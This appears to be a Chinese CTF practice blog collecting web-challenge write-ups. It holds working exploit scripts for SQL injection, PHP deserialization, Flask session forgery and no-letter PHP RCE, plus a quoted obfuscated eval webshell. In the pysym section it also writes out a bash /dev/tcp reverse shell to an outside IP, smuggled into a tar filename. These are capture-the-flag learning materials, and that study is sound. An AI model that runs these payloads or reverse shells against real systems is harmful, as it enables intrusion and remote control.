每日一题
每天一题罢了。。
ctfshow内部赛签到 扫到备份文件
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php function check ($arr ) {if (preg_match ("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i" ,$arr )){ echo "<script>alert('bad hacker!')</script>" ; die (); } else { return true ; } } session_start ();include ('db.php' );if (isset ($_POST ['e' ])&&isset ($_POST ['p' ])){ $e =$_POST ['e' ];$p =$_POST ['p' ];$sql ="select username from test1 where email='$e ' and password='$p '" ;if (check ($e )&&check ($p )){$result =mysqli_query ($con ,$sql );$row = mysqli_fetch_assoc ($result ); if ($row ){ $_SESSION ['u' ]=$row ['username' ]; header ('location:user.php' ); } else { echo "<script>alert('Wrong username or password')</script>" ; } } } ?>
register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php function check ($arr ) {if (preg_match ("/load|and|\||\&| |\\\|sleep|ascii|if/i" ,$arr )){ echo "<script>alert('bad hacker!')</script>" ; die (); } else { return true ; } } include ('db.php' );if (isset ($_POST ['e' ])&&isset ($_POST ['u' ])&&isset ($_POST ['p' ])){ $e =$_POST ['e' ];$u =$_POST ['u' ];$p =$_POST ['p' ];$sql ="insert into test1 set email = '$e ',username = '$u ',password = '$p '" ;if (check ($e )&&check ($u )&&check ($p )){if (mysqli_query ($con , $sql )){ header ('location:login.php' );} } } ?>
user.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <html> <body background="bg2.jpg" > </body> </html> <?php include ('db.php' );session_start ();error_reporting (0 );if ($_SESSION ['u' ]){$username =$_SESSION ['u' ];if (is_numeric ($username )) { if (strlen ($username )>10 ) { $username =substr ($username ,0 ,10 ); } echo "Hello $username ,there's nothing here but dog food!" ; } else { echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>" ; } } else { echo "<script>alert('Login first!');location.href='login.php';</script>" ; } ?>
通过注册界面的union select
1 2 $sql = "select username from test1 where email='$e' and password='$p'"; $sql = "insert into test1 set email = '$e', username = '$u',password = '$p'"
构造sql语句
1 insert into test1 set email= '1' ,username= hex(hex(substr((select flagfrom flag),1 ,1 ))),password= '0'
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport reurl1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php" url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php" flag = '' for i in range (1 , 50 ): payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str (i) + "/**/for/**/1))),/*" print (payload) s = requests.session() data1 = { 'e' : str (i + 30 ) + "',username=" + payload, 'u' : "*/#" , 'p' : i + 30 } r1 = s.post(url1, data=data1) data2 = { 'e' : i + 30 , 'p' : i + 30 } r2 = s.post(url2, data=data2) t = r2.text real = re.findall("Hello (.*?)," , t)[0 ] flag += real print (flag)
1 ctfshow{88827b24-2cd9-4be6-b15d-7eb1055f9c1c}
web15 Fishman 扫到备份文件
member.php中发现漏洞点
当查询返回的用户名为空且密码错误时,进行四次setcookie操作,当查询返回的用户名为不为空时,进行两次setcookie操作利用这个差异,就已经可以实现布尔盲注了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 import requestsurl = "https://6209bf27-efaa-4086-b619-a9552f4450f6.challenge.ctf.show/admin/" def tamper (payload ): payload = payload.lower() payload = payload.replace('u' , '\\u0075' ) payload = payload.replace('\'' , '\\u0027' ) payload = payload.replace('o' , '\\u006f' ) payload = payload.replace('i' , '\\u0069' ) payload = payload.replace('"' , '\\u0022' ) payload = payload.replace(' ' , '\\u0020' ) payload = payload.replace('s' , '\\u0073' ) payload = payload.replace('#' , '\\u0023' ) payload = payload.replace('>' , '\\u003e' ) payload = payload.replace('<' , '\\u003c' ) payload = payload.replace('-' , '\\u002d' ) payload = payload.replace('=' , '\\u003d' ) payload = payload.replace('f1a9' , 'F1a9' ) payload = payload.replace('f1' , 'F1' ) return payload def databaseName_len (): print ("start get database name length..." ) for l in range (0 , 45 ): payload = "1' or (length(database())=" + str (l + 1 ) + ")#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r = requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 1 )): print ('get db length = ' + str (l).lower()) break def get_databaseName (): flag = '' for j in range (0 , 15 ): for c in range (0x20 , 0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (database()) between '" + flag + chr (c) + "' and '" + chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r = requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('databasename = ' + flag.lower()) break def get_tableName (): flag = '' for j in range (0 , 30 ): for c in range (0x20 , 0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr ( c) + "' and '" + chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r = requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('tablename = ' + flag.lower()) break def get_ColumnName (): flag = '' for j in range (0 , 10 ): for c in range (0x20 , 0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr ( c) + "' and '" + chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r = requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('column name = ' + flag.lower()) break def get_value (): flag = '' for j in range (0 , 50 ): for c in range (0x20 , 0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr (c) + "' and '" + chr ( 126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r = requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('flag = ' + flag.lower()) break print ("start database sql injection..." )get_value()
[CISCN 2023 华北]ez_date 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } } unserialize (base64_decode ($_GET ['code' ]));
在反序列化的时候会自动触发这个类中的wakeup方法,看见关键代码
1 if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) )
测试代码
1 2 3 4 5 6 7 8 <?php if (sha1 (12 ) === sha1 ('12' ) && md5 (1 ) === md5 ('1' )){ echo '===' ; } else { echo '!=' ; } ?>
正则
1 2 3 4 5 $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid)); (\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符 (\n)+: 匹配一个或多个换行符 /i : 匹配时不区分大小写 把上面匹配到的内容全部置换为空
还有两个点
因此得到最终payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } } $yiyi = new date ();$yiyi -> a = 1 ;$yiyi -> b = '1' ;$yiyi -> file = '/f\l\a\g' ;echo base64_encode (serialize ($yiyi ));
[CISCN 2023 华北]pysym 随便传一个看看
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from flask import Flask, render_template, request, send_from_directoryimport osimport randomimport stringapp = Flask(__name__) app.config['UPLOAD_FOLDER' ]='uploads' @app.route('/' , methods=['GET' ] ) def index (): return render_template('index.html' ) @app.route('/' ,methods=['POST' ] ) def POST (): if 'file' not in request.files: return 'No file uploaded.' file = request.files['file' ] if file.content_length > 10240 : return 'file too lager' path = '' .join(random.choices(string.hexdigits, k=16 )) directory = os.path.join(app.config['UPLOAD_FOLDER' ], path) os.makedirs(directory, mode=0o755 , exist_ok=True ) savepath=os.path.join(directory, file.filename) file.save(savepath) try : os.system('tar --absolute-names -xvf {} -C {}' .format (savepath,directory)) except : return 'something wrong in extracting' links = [] for root, dirs, files in os.walk(directory): for name in files: extractedfile =os.path.join(root, name) if os.path.islink(extractedfile): os.remove(extractedfile) return 'no symlink' if os.path.isdir(path) : return 'no directory' links.append(extractedfile) return render_template('index.html' ,links=links) @app.route("/uploads/<path:path>" ,methods=['GET' ] ) def download (path ): filepath = os.path.join(app.config['UPLOAD_FOLDER' ], path) if not os.path.isfile(filepath): return '404' , 404 return send_from_directory(app.config['UPLOAD_FOLDER' ], path) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=1337 )
上传tar
根据源码,只有限制长度,上传后调用系统命令对其进行,由于没有文件名的限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def POST (): if 'file' not in request.files: return 'No file uploaded.' file = request.files['file' ] if file.content_length > 10240 : return 'file too lager' path = '' .join (random.choices (string .hexdigits, k=16 )) directory = os.path.join (app.config['UPLOAD_FOLDER' ], path) os.makedirs (directory, mode=0o755 , exist_ok=True) savepath=os.path.join (directory, file.filename) file.save (savepath) try : os.system ('tar --absolute-names -xvf {} -C {}' .format (savepath,directory)) except: return 'something wrong in extracting'
我们可以根据这个特性进行RCE
没有回显,考虑反弹shell
1 bash >& /dev/tcp/101.37.27.18/4444 0>&1
1 test.tar || echo YmFzaCA+JiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx| base64 -d | bash ||
[CISCN 2019华东南]Web4 文件读取
尝试读取/etc/passwd
尝试读取flag文件
常见linux配置文件
1 2 3 4 5 6 7 8 9 10 11 /etc/passwd用来判断读取漏洞的存在 /etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。 /etc/hostname/etc/hostname表示主机名。 /etc/issue指明系统版本。 /proc目录 /proc/[pid]查看进程 /proc/self查看当前进程 /proc/self/cmdline当前进程对应的终端命令 /proc/self/pwd程序运行目录 /proc/self/环境变量 /sys/class/net/eth0/address mac地址保存位
查看当前进程对应的终端命令
直接读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import reimport randomimport uuidimport urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random() * 233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! Read somethings' @app.route('/read' ) def read (): try : url = request.args.get('url' ) if re.search('^file.*|flag' , url, re.IGNORECASE): return 'No Hack' with urllib.request.urlopen(url) as res: return res.read().decode('utf-8' ) except Exception as ex: print (str (ex)) return 'no response' @app.route('/flag' ) def flag (): if session.get('username' ) == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__ == '__main__' : app.run(debug=True , host="0.0.0.0" )
经典session伪造
1 eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Zpc0_w.WMwIMXtSU15Mlrk3Lwa0K8ZD810
分为三个部分
第一部分是两段base64,使用脚本将www替换成fuck即可,中间是时间戳,最后面是安全签名
1 {"username":{" b":"d3d3LWRhdGE="}}
1 {"username":{" b":"www-data"}}
读mac地址
1 2 3 import randomrandom.seed(0x0242ac02521c ) print (str (random.random()*233 ))
python2运行
1 2 3 ┌──(root㉿kali)-[~/yiyi] └─ 38.8837558332
这里有坑,python2和3跑出来是不一样的,容器中用的是2,所以在这里我们也只能用2
拉到flask_session_cookie_manager3.py跑
1 2 C:\Users \31702\Desktop \yiyi \CTF \web \FLASK 框架>python flask_session_cookie_manager3.py encode -s 38.8837558332 -t "{'username ':'fuck '}" eyJ1c2VybmFtZSI6ImZ1Y2sifQ.ZpdGqA.dt2f0F84oMxkjl0sQQK3_d8E3Xg
替换后获得flag
附:Flask Session Cookie 管理器使用指南 使用说明
使用 flask_session_cookie_manager3.py
与 Python 3,flask_session_cookie_manager2.py
与 Python 2。
使用方法:
1 flask_session_cookie_manager{2,3}.py [-h] {encode,decode} ...
Flask Session Cookie 解码/编码工具
位置参数:
可选参数:
编码
1 flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>
可选参数:
-h
或 --help
: 显示帮助信息并退出
-s <string>
或 --secret-key <string>
: 密钥
-t <string>
或 --cookie-structure <string>
: Session Cookie 结构
解码
1 flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>
可选参数:
-h
或 --help
: 显示帮助信息并退出
-s <string>
或 --secret-key <string>
: 密钥
-c <string>
或 --cookie-value <string>
: Session Cookie 值
示例
编码
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}' eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw
注意: Session Cookie 结构必须是一个有效的 Python 字典
解码
使用密钥:
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' {u'username' : 'admin' , u'number' : '326410031505' }
不使用密钥 (输出格式较差):
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' {"number" :{" b" :"MzI2NDEwMDMxNTA1" },"username" :{" b" :"YWRtaW4=" }}
[FSCTF 2023]签到plus dirsearch扫到shell.php,访问发现是php info
PHP<=7.4.21 Development Server源码泄露漏洞_php7.4.21漏洞-CSDN博客
关闭bp的Content-Length功能
请求包只留这几句即可
保存至txt查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 HTTP/0.9 200 OK Host: node4.anna.nssctf.cn:28393 Date: Wed, 17 Jul 2024 06 :03 :28 GMT Connection: close Content-Length: 443 <?php phpinfo ();$😀="a" ; $😁="b" ; $😂="c" ; $🤣="d" ; $😃="e" ; $😄="f" ; $😅="g" ; $😆="h" ; $😉="i" ; $😊="j" ; $😋="k" ; $😎="l" ; $😍="m" ; $😘="n" ; $😗="o" ; $😙="p" ; $😚="q" ; $🙂="r" ; $🤗="s" ; $🤩="t" ; $🤔="u" ; $🤨="v" ; $😐="w" ; $😑="x" ; $😶="y" ; $🙄="z" ; $😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔; if (isset ($_GET ['👽🦐' ])) { eval ($😭($_GET ['👽🦐' ])); }; ?>
直接命令执行即可
[HNCTF 2022 Week1]Challenge__rce get传参hint得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );if (isset ($_GET ['hint' ])) { highlight_file (__FILE__ ); } if (isset ($_POST ['rce' ])) { $rce = $_POST ['rce' ]; if (strlen ($rce ) <= 120 ) { if (is_string ($rce )) { if (!preg_match ("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/" , $rce )) { eval ($rce ); } else { echo ("Are you hack me?" ); } } else { echo "I want string!" ; } } else { echo "too long!" ; } }
一道无参RCE,发现|和^被过滤,不能用异或
查看所有未被过滤的字符
1 2 3 4 5 6 7 8 9 import reregex = r"[/!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]" printable_chars = range (32 , 127 ) for char in printable_chars: if not re.search(regex, chr (char)): print (chr (char), end=" " )
考虑使用自增
首先,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
基础语法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php @$_ = [].'' ; $_ = $_ [0 ];$___ = '_' ;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$___ = $_ ;$_ ++;$__ =$_ ;$__ .=$___ ;$_ ++;$_ ++;$_ ++;$__ .=$_ ;$_ ++;$__ .=$_ ;echo $__ ;$$__ ['_' ]($$__ ['__' ]);rce = $_ =%5 B%5 D.'' ;$_ %20 =%20 $_ %5 B0%5 D;$___ =%20 '_' ;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$___ %20 =%20 $_ ;$_ ++;$__ =$_ ;$__ .=$___ ;$_ ++;$_ ++;$_ ++;$__ .=$_ ;$_ ++;$__ .=$_ ;echo %20 $__ ;$$__ %5 B'_' %5 D($$__ %5 B'__' %5 D);&_=system&__=ls ?>
得尝试缩减,使用CHr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $_ =[]._;$__ =$_ [1 ];$_ =$_ [0 ];$_ ++;$_1 =++$_ ;$_ ++;$_ ++;$_ ++;$_ ++;$_ =$_1 .++$_ .$__ ; $_ =_.$_ (71 ).$_ (69 ).$_ (84 ); $$_ [1 ]($$_ [2 ]);
url编码
然后就。。。
[CISCN 2023 西南]do_you_like_read 解法一:
发现存在后面并且有与之对应的动态链接库文件
对着后门文件改路径即可
/var/www目录无回显可以考虑app目录
1 http://node4.anna.nssctf.cn:28157/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so
解法二:
将php等后缀改成jpg结尾
根据源码中的路径直接尝试访问webshell
解法三:
发现可能存在sql注入的漏洞点
直接跑sqlmap
–os-shell直接看环境变量即可
[强网杯 2019]随便注 联合查询的时候发现存在过滤
1 ';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1 2 3 4 5 6 7 8 HANDLER table_name OPEN ; HANDLER table_name READ NEXT; HANDLER table_name CLOSE ;
payload
1 1 ';handler `1919810931114514` open;handler `1919810931114514` read next;
[鹤城杯 2021]EasyP 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include 'utils.php' ;if (isset ($_POST ['guess' ])) { $guess = (string ) $_POST ['guess' ]; if ($guess === $secret ) { $message = 'Congratulations! The flag is: ' . $flag ; } else { $message = 'Wrong. Try Again' ; } } if (preg_match ('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("hacker :)" ); } if (preg_match ('/show_source/' , $_SERVER ['REQUEST_URI' ])){ exit ("hacker :)" ); } if (isset ($_GET ['show_source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); }else { show_source (__FILE__ ); } ?>
包含utils.php文件,尝试请求
但是有waf
1 2 3 if (preg_match ('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("hacker :)" ); }
使用%0a绕过,%a0 是 URL 编码中的一个特殊字符,代表一个非打印字符(No-Break Space)。在 PHP 中,非打印字符通常会被忽略。所以,/utils.php/%a0 实际上被 PHP 解析为 /utils.php/。
%a0的作用解析 参考别的师傅
因此构造出payload
1 /index.php/utils.php/%a0
还有一层waf
1 2 3 if (preg_match ('/show_source/' , $_SERVER ['REQUEST_URI' ])){ exit ("hacker :)" ); }
这个比较简单
用show[source 或者show.source 或者show+source 绕过
最终payload
1 /index.php/utils.php/%a0?show[source
web3_莫负婵娟 皎洁一年惟此夜,莫教容易负婵娟
hint:环境变量 +linux字符串截取 + 通配符
fuzz一下
f12看到提示
1 2 3 <!--注意:正式上线请删除注释内容! --> <!-- username yu22x --> <!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
like有两个通配符%
和_
,这里没有过滤_
1 2 % 表示零个或多个字符的任意字符串 _(下划线)表示任何单个字符
尝试使用通配符判断位数
根据这个逻辑就可以逐个爆破密码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsfrom urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning) a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" url = 'https://cf189981-52d3-496b-9660-865ce7b82d8e.challenge.ctf.show/login.php' pwd = '' for i in range (32 ): print ('i = ' +str (i+1 ),end='\t' ) for j in a: password = pwd + j + (31 - i) * '_' data = {'username' :'yu22x' ,'password' :password} r = requests.post(url,data=data,verify=False ) if 'wrong' not in r.text: pwd += j print (pwd) break
进去后就是个命令执行
小写字母全部被过滤,想到可以用环境便利PATH进行命令构造,用自己的vps测试一下
ls
1 0;${PATH:5:1}${PATH:11:1}
没有c t,可以用nl来读取
1 0;${PATH:14:1}${PATH:5:1} ????.???
web2_故人心 三五夜中新月色,二千里外故人心
存在一个robots.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (0 );highlight_file (__FILE__ );$a =$_GET ['a' ];$b =$_GET ['b' ];$c =$_GET ['c' ];$url [1 ]=$_POST ['url' ];if (is_numeric ($a ) and strlen ($a )<7 and $a !=0 and $a **2 ==0 ){ $d = ($b ==hash ("md2" , $b )) && ($c ==hash ("md2" ,hash ("md2" , $c ))); if ($d ){ highlight_file ('hint.php' ); if (filter_var ($url [1 ],FILTER_VALIDATE_URL)){ $host =parse_url ($url [1 ]); print_r ($host ); if (preg_match ('/ctfshow\.com$/' ,$host ['host' ])){ print_r (file_get_contents ($url [1 ])); }else { echo '差点点就成功了!' ; } }else { echo 'please give me url!!!' ; } }else { echo '想一想md5碰撞原理吧?!' ; } }else { echo '第一个都过不了还想要flag呀?!' ; } 第一个都过不了还想要flag呀?!
访问hint、
1 2 3 4 5 Is it particularly difficult to break MD2?! I'll tell you quietly that I saw the payoad of the author. But the numbers are not clear.have fun~~~~ xxxxx024452 hash("md2",$b) xxxxxx48399 hash("md2",hash("md2",$b))
看样子是个爆破
第一关
1 if (is_numeric ($a ) and strlen ($a )<7 and $a !=0 and $a **2 ==0 ){
php小数点后超过161位做平方运算时会被截断,我们可以用科学计数法来代替,即 1e-162
第二关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php for ($i =100 ;$i <=999 ;$i ++){ $b = "0e" .$i ."024452" ; if ($b ==hash ("md2" , $b )){ echo $b ; } } echo "\n" ;for ($i =1000 ;$i <=9999 ;$i ++){ $c = "0e" .$i ."48399" ; if ($c ==hash ("md2" ,hash ("md2" , $c ))){ echo $c ; } }
第三关 post传参url
file_get_contents使用不存在的协议名导致目录穿越,实现SSRFphp源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。题目中要求url中存在 ctfshow.com,又要构造符合url格式
我们这边随便来一个yiyi协议,又因为
1 2 if (preg_match ('/ctfshow\.com$/' ,$host ['host' ])){ print_r (file_get_contents ($url [1 ]));
所以可以构造如下payload
1 url=yiyi://ctfshow.com/../../../../../../fl0g.txt
[NISACTF 2022]join-us fuzz
尝试报错注入,and被过滤
1 1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#
用||代替and
1 1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#
回显
1 XPATH syntax error: '~root@localhost~'
就可以编写脚本了,几个点,and过滤用||
代替,columns禁用,使用join做合并,mid截取长度限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import requestsurl = 'http://node5.anna.nssctf.cn:21164/dl.php' def test (url ): data = { 'tt' :"1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#" } re = requests.post(url,data=data) print (re.text) def database (url ): data = { 'tt' :"1' || (select * from a)#" } re = requests.post(url,data=data) print (re.text) def table (url ): data = { 'tt' :"-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#" } re = requests.post(url,data=data) print (re.text) def column1 (url ): data = { 'tt' :"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join Fal_flag b)c)))#" } re = requests.post(url,data=data) print (re.text) def column2 (url ): data = { 'tt' :"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join output b)c)))#" } re = requests.post(url,data=data) print (re.text) def flag1 (url ): data = { 'tt' :"-1' || extractvalue(1,mid(concat(0x5c,(select data from output)),30,20))#" } re = requests.post(url,data=data) print (re.text) if __name__ == "__main__" : flag1(url)
[MoeCTF 2022]ezphp 变量覆盖
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file ('source.txt' );echo "<br><br>" ;$flag = 'xxxxxxxx' ;$giveme = 'can can need flag!' ;$getout = 'No! flag.Try again. Come on!' ;if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($giveme ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($getout ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo 'the flag is : ' . $flag ;?>
直接打
1 http://node5.anna.nssctf.cn:26770/?a=flag&flag=a
[第五空间 2021]EasyCleanup 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php if (!isset ($_GET ['mode' ])){ highlight_file (__file__); }else if ($_GET ['mode' ] == "eval" ){ $shell = isset ($_GET ['shell' ]) ? $_GET ['shell' ] : 'phpinfo();' ; if (strlen ($shell ) > 15 | filter ($shell ) | checkNums ($shell )) exit ("hacker" ); eval ($shell ); } if (isset ($_GET ['file' ])){ if (strlen ($_GET ['file' ]) > 15 | filter ($_GET ['file' ])) exit ("hacker" ); include $_GET ['file' ]; } function filter ($var ) { $banned = ["while" , "for" , "\$_" , "include" , "env" , "require" , "?" , ":" , "^" , "+" , "-" , "%" , "*" , "`" ]; foreach ($banned as $ban ){ if (strstr ($var , $ban )) return True; } return False; } function checkNums ($var ) { $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' ; $cnt = 0 ; for ($i = 0 ; $i < strlen ($alphanum ); $i ++){ for ($j = 0 ; $j < strlen ($var ); $j ++){ if ($var [$j ] == $alphanum [$i ]){ $cnt += 1 ; if ($cnt > 8 ) return True; } } } return False; } ?>
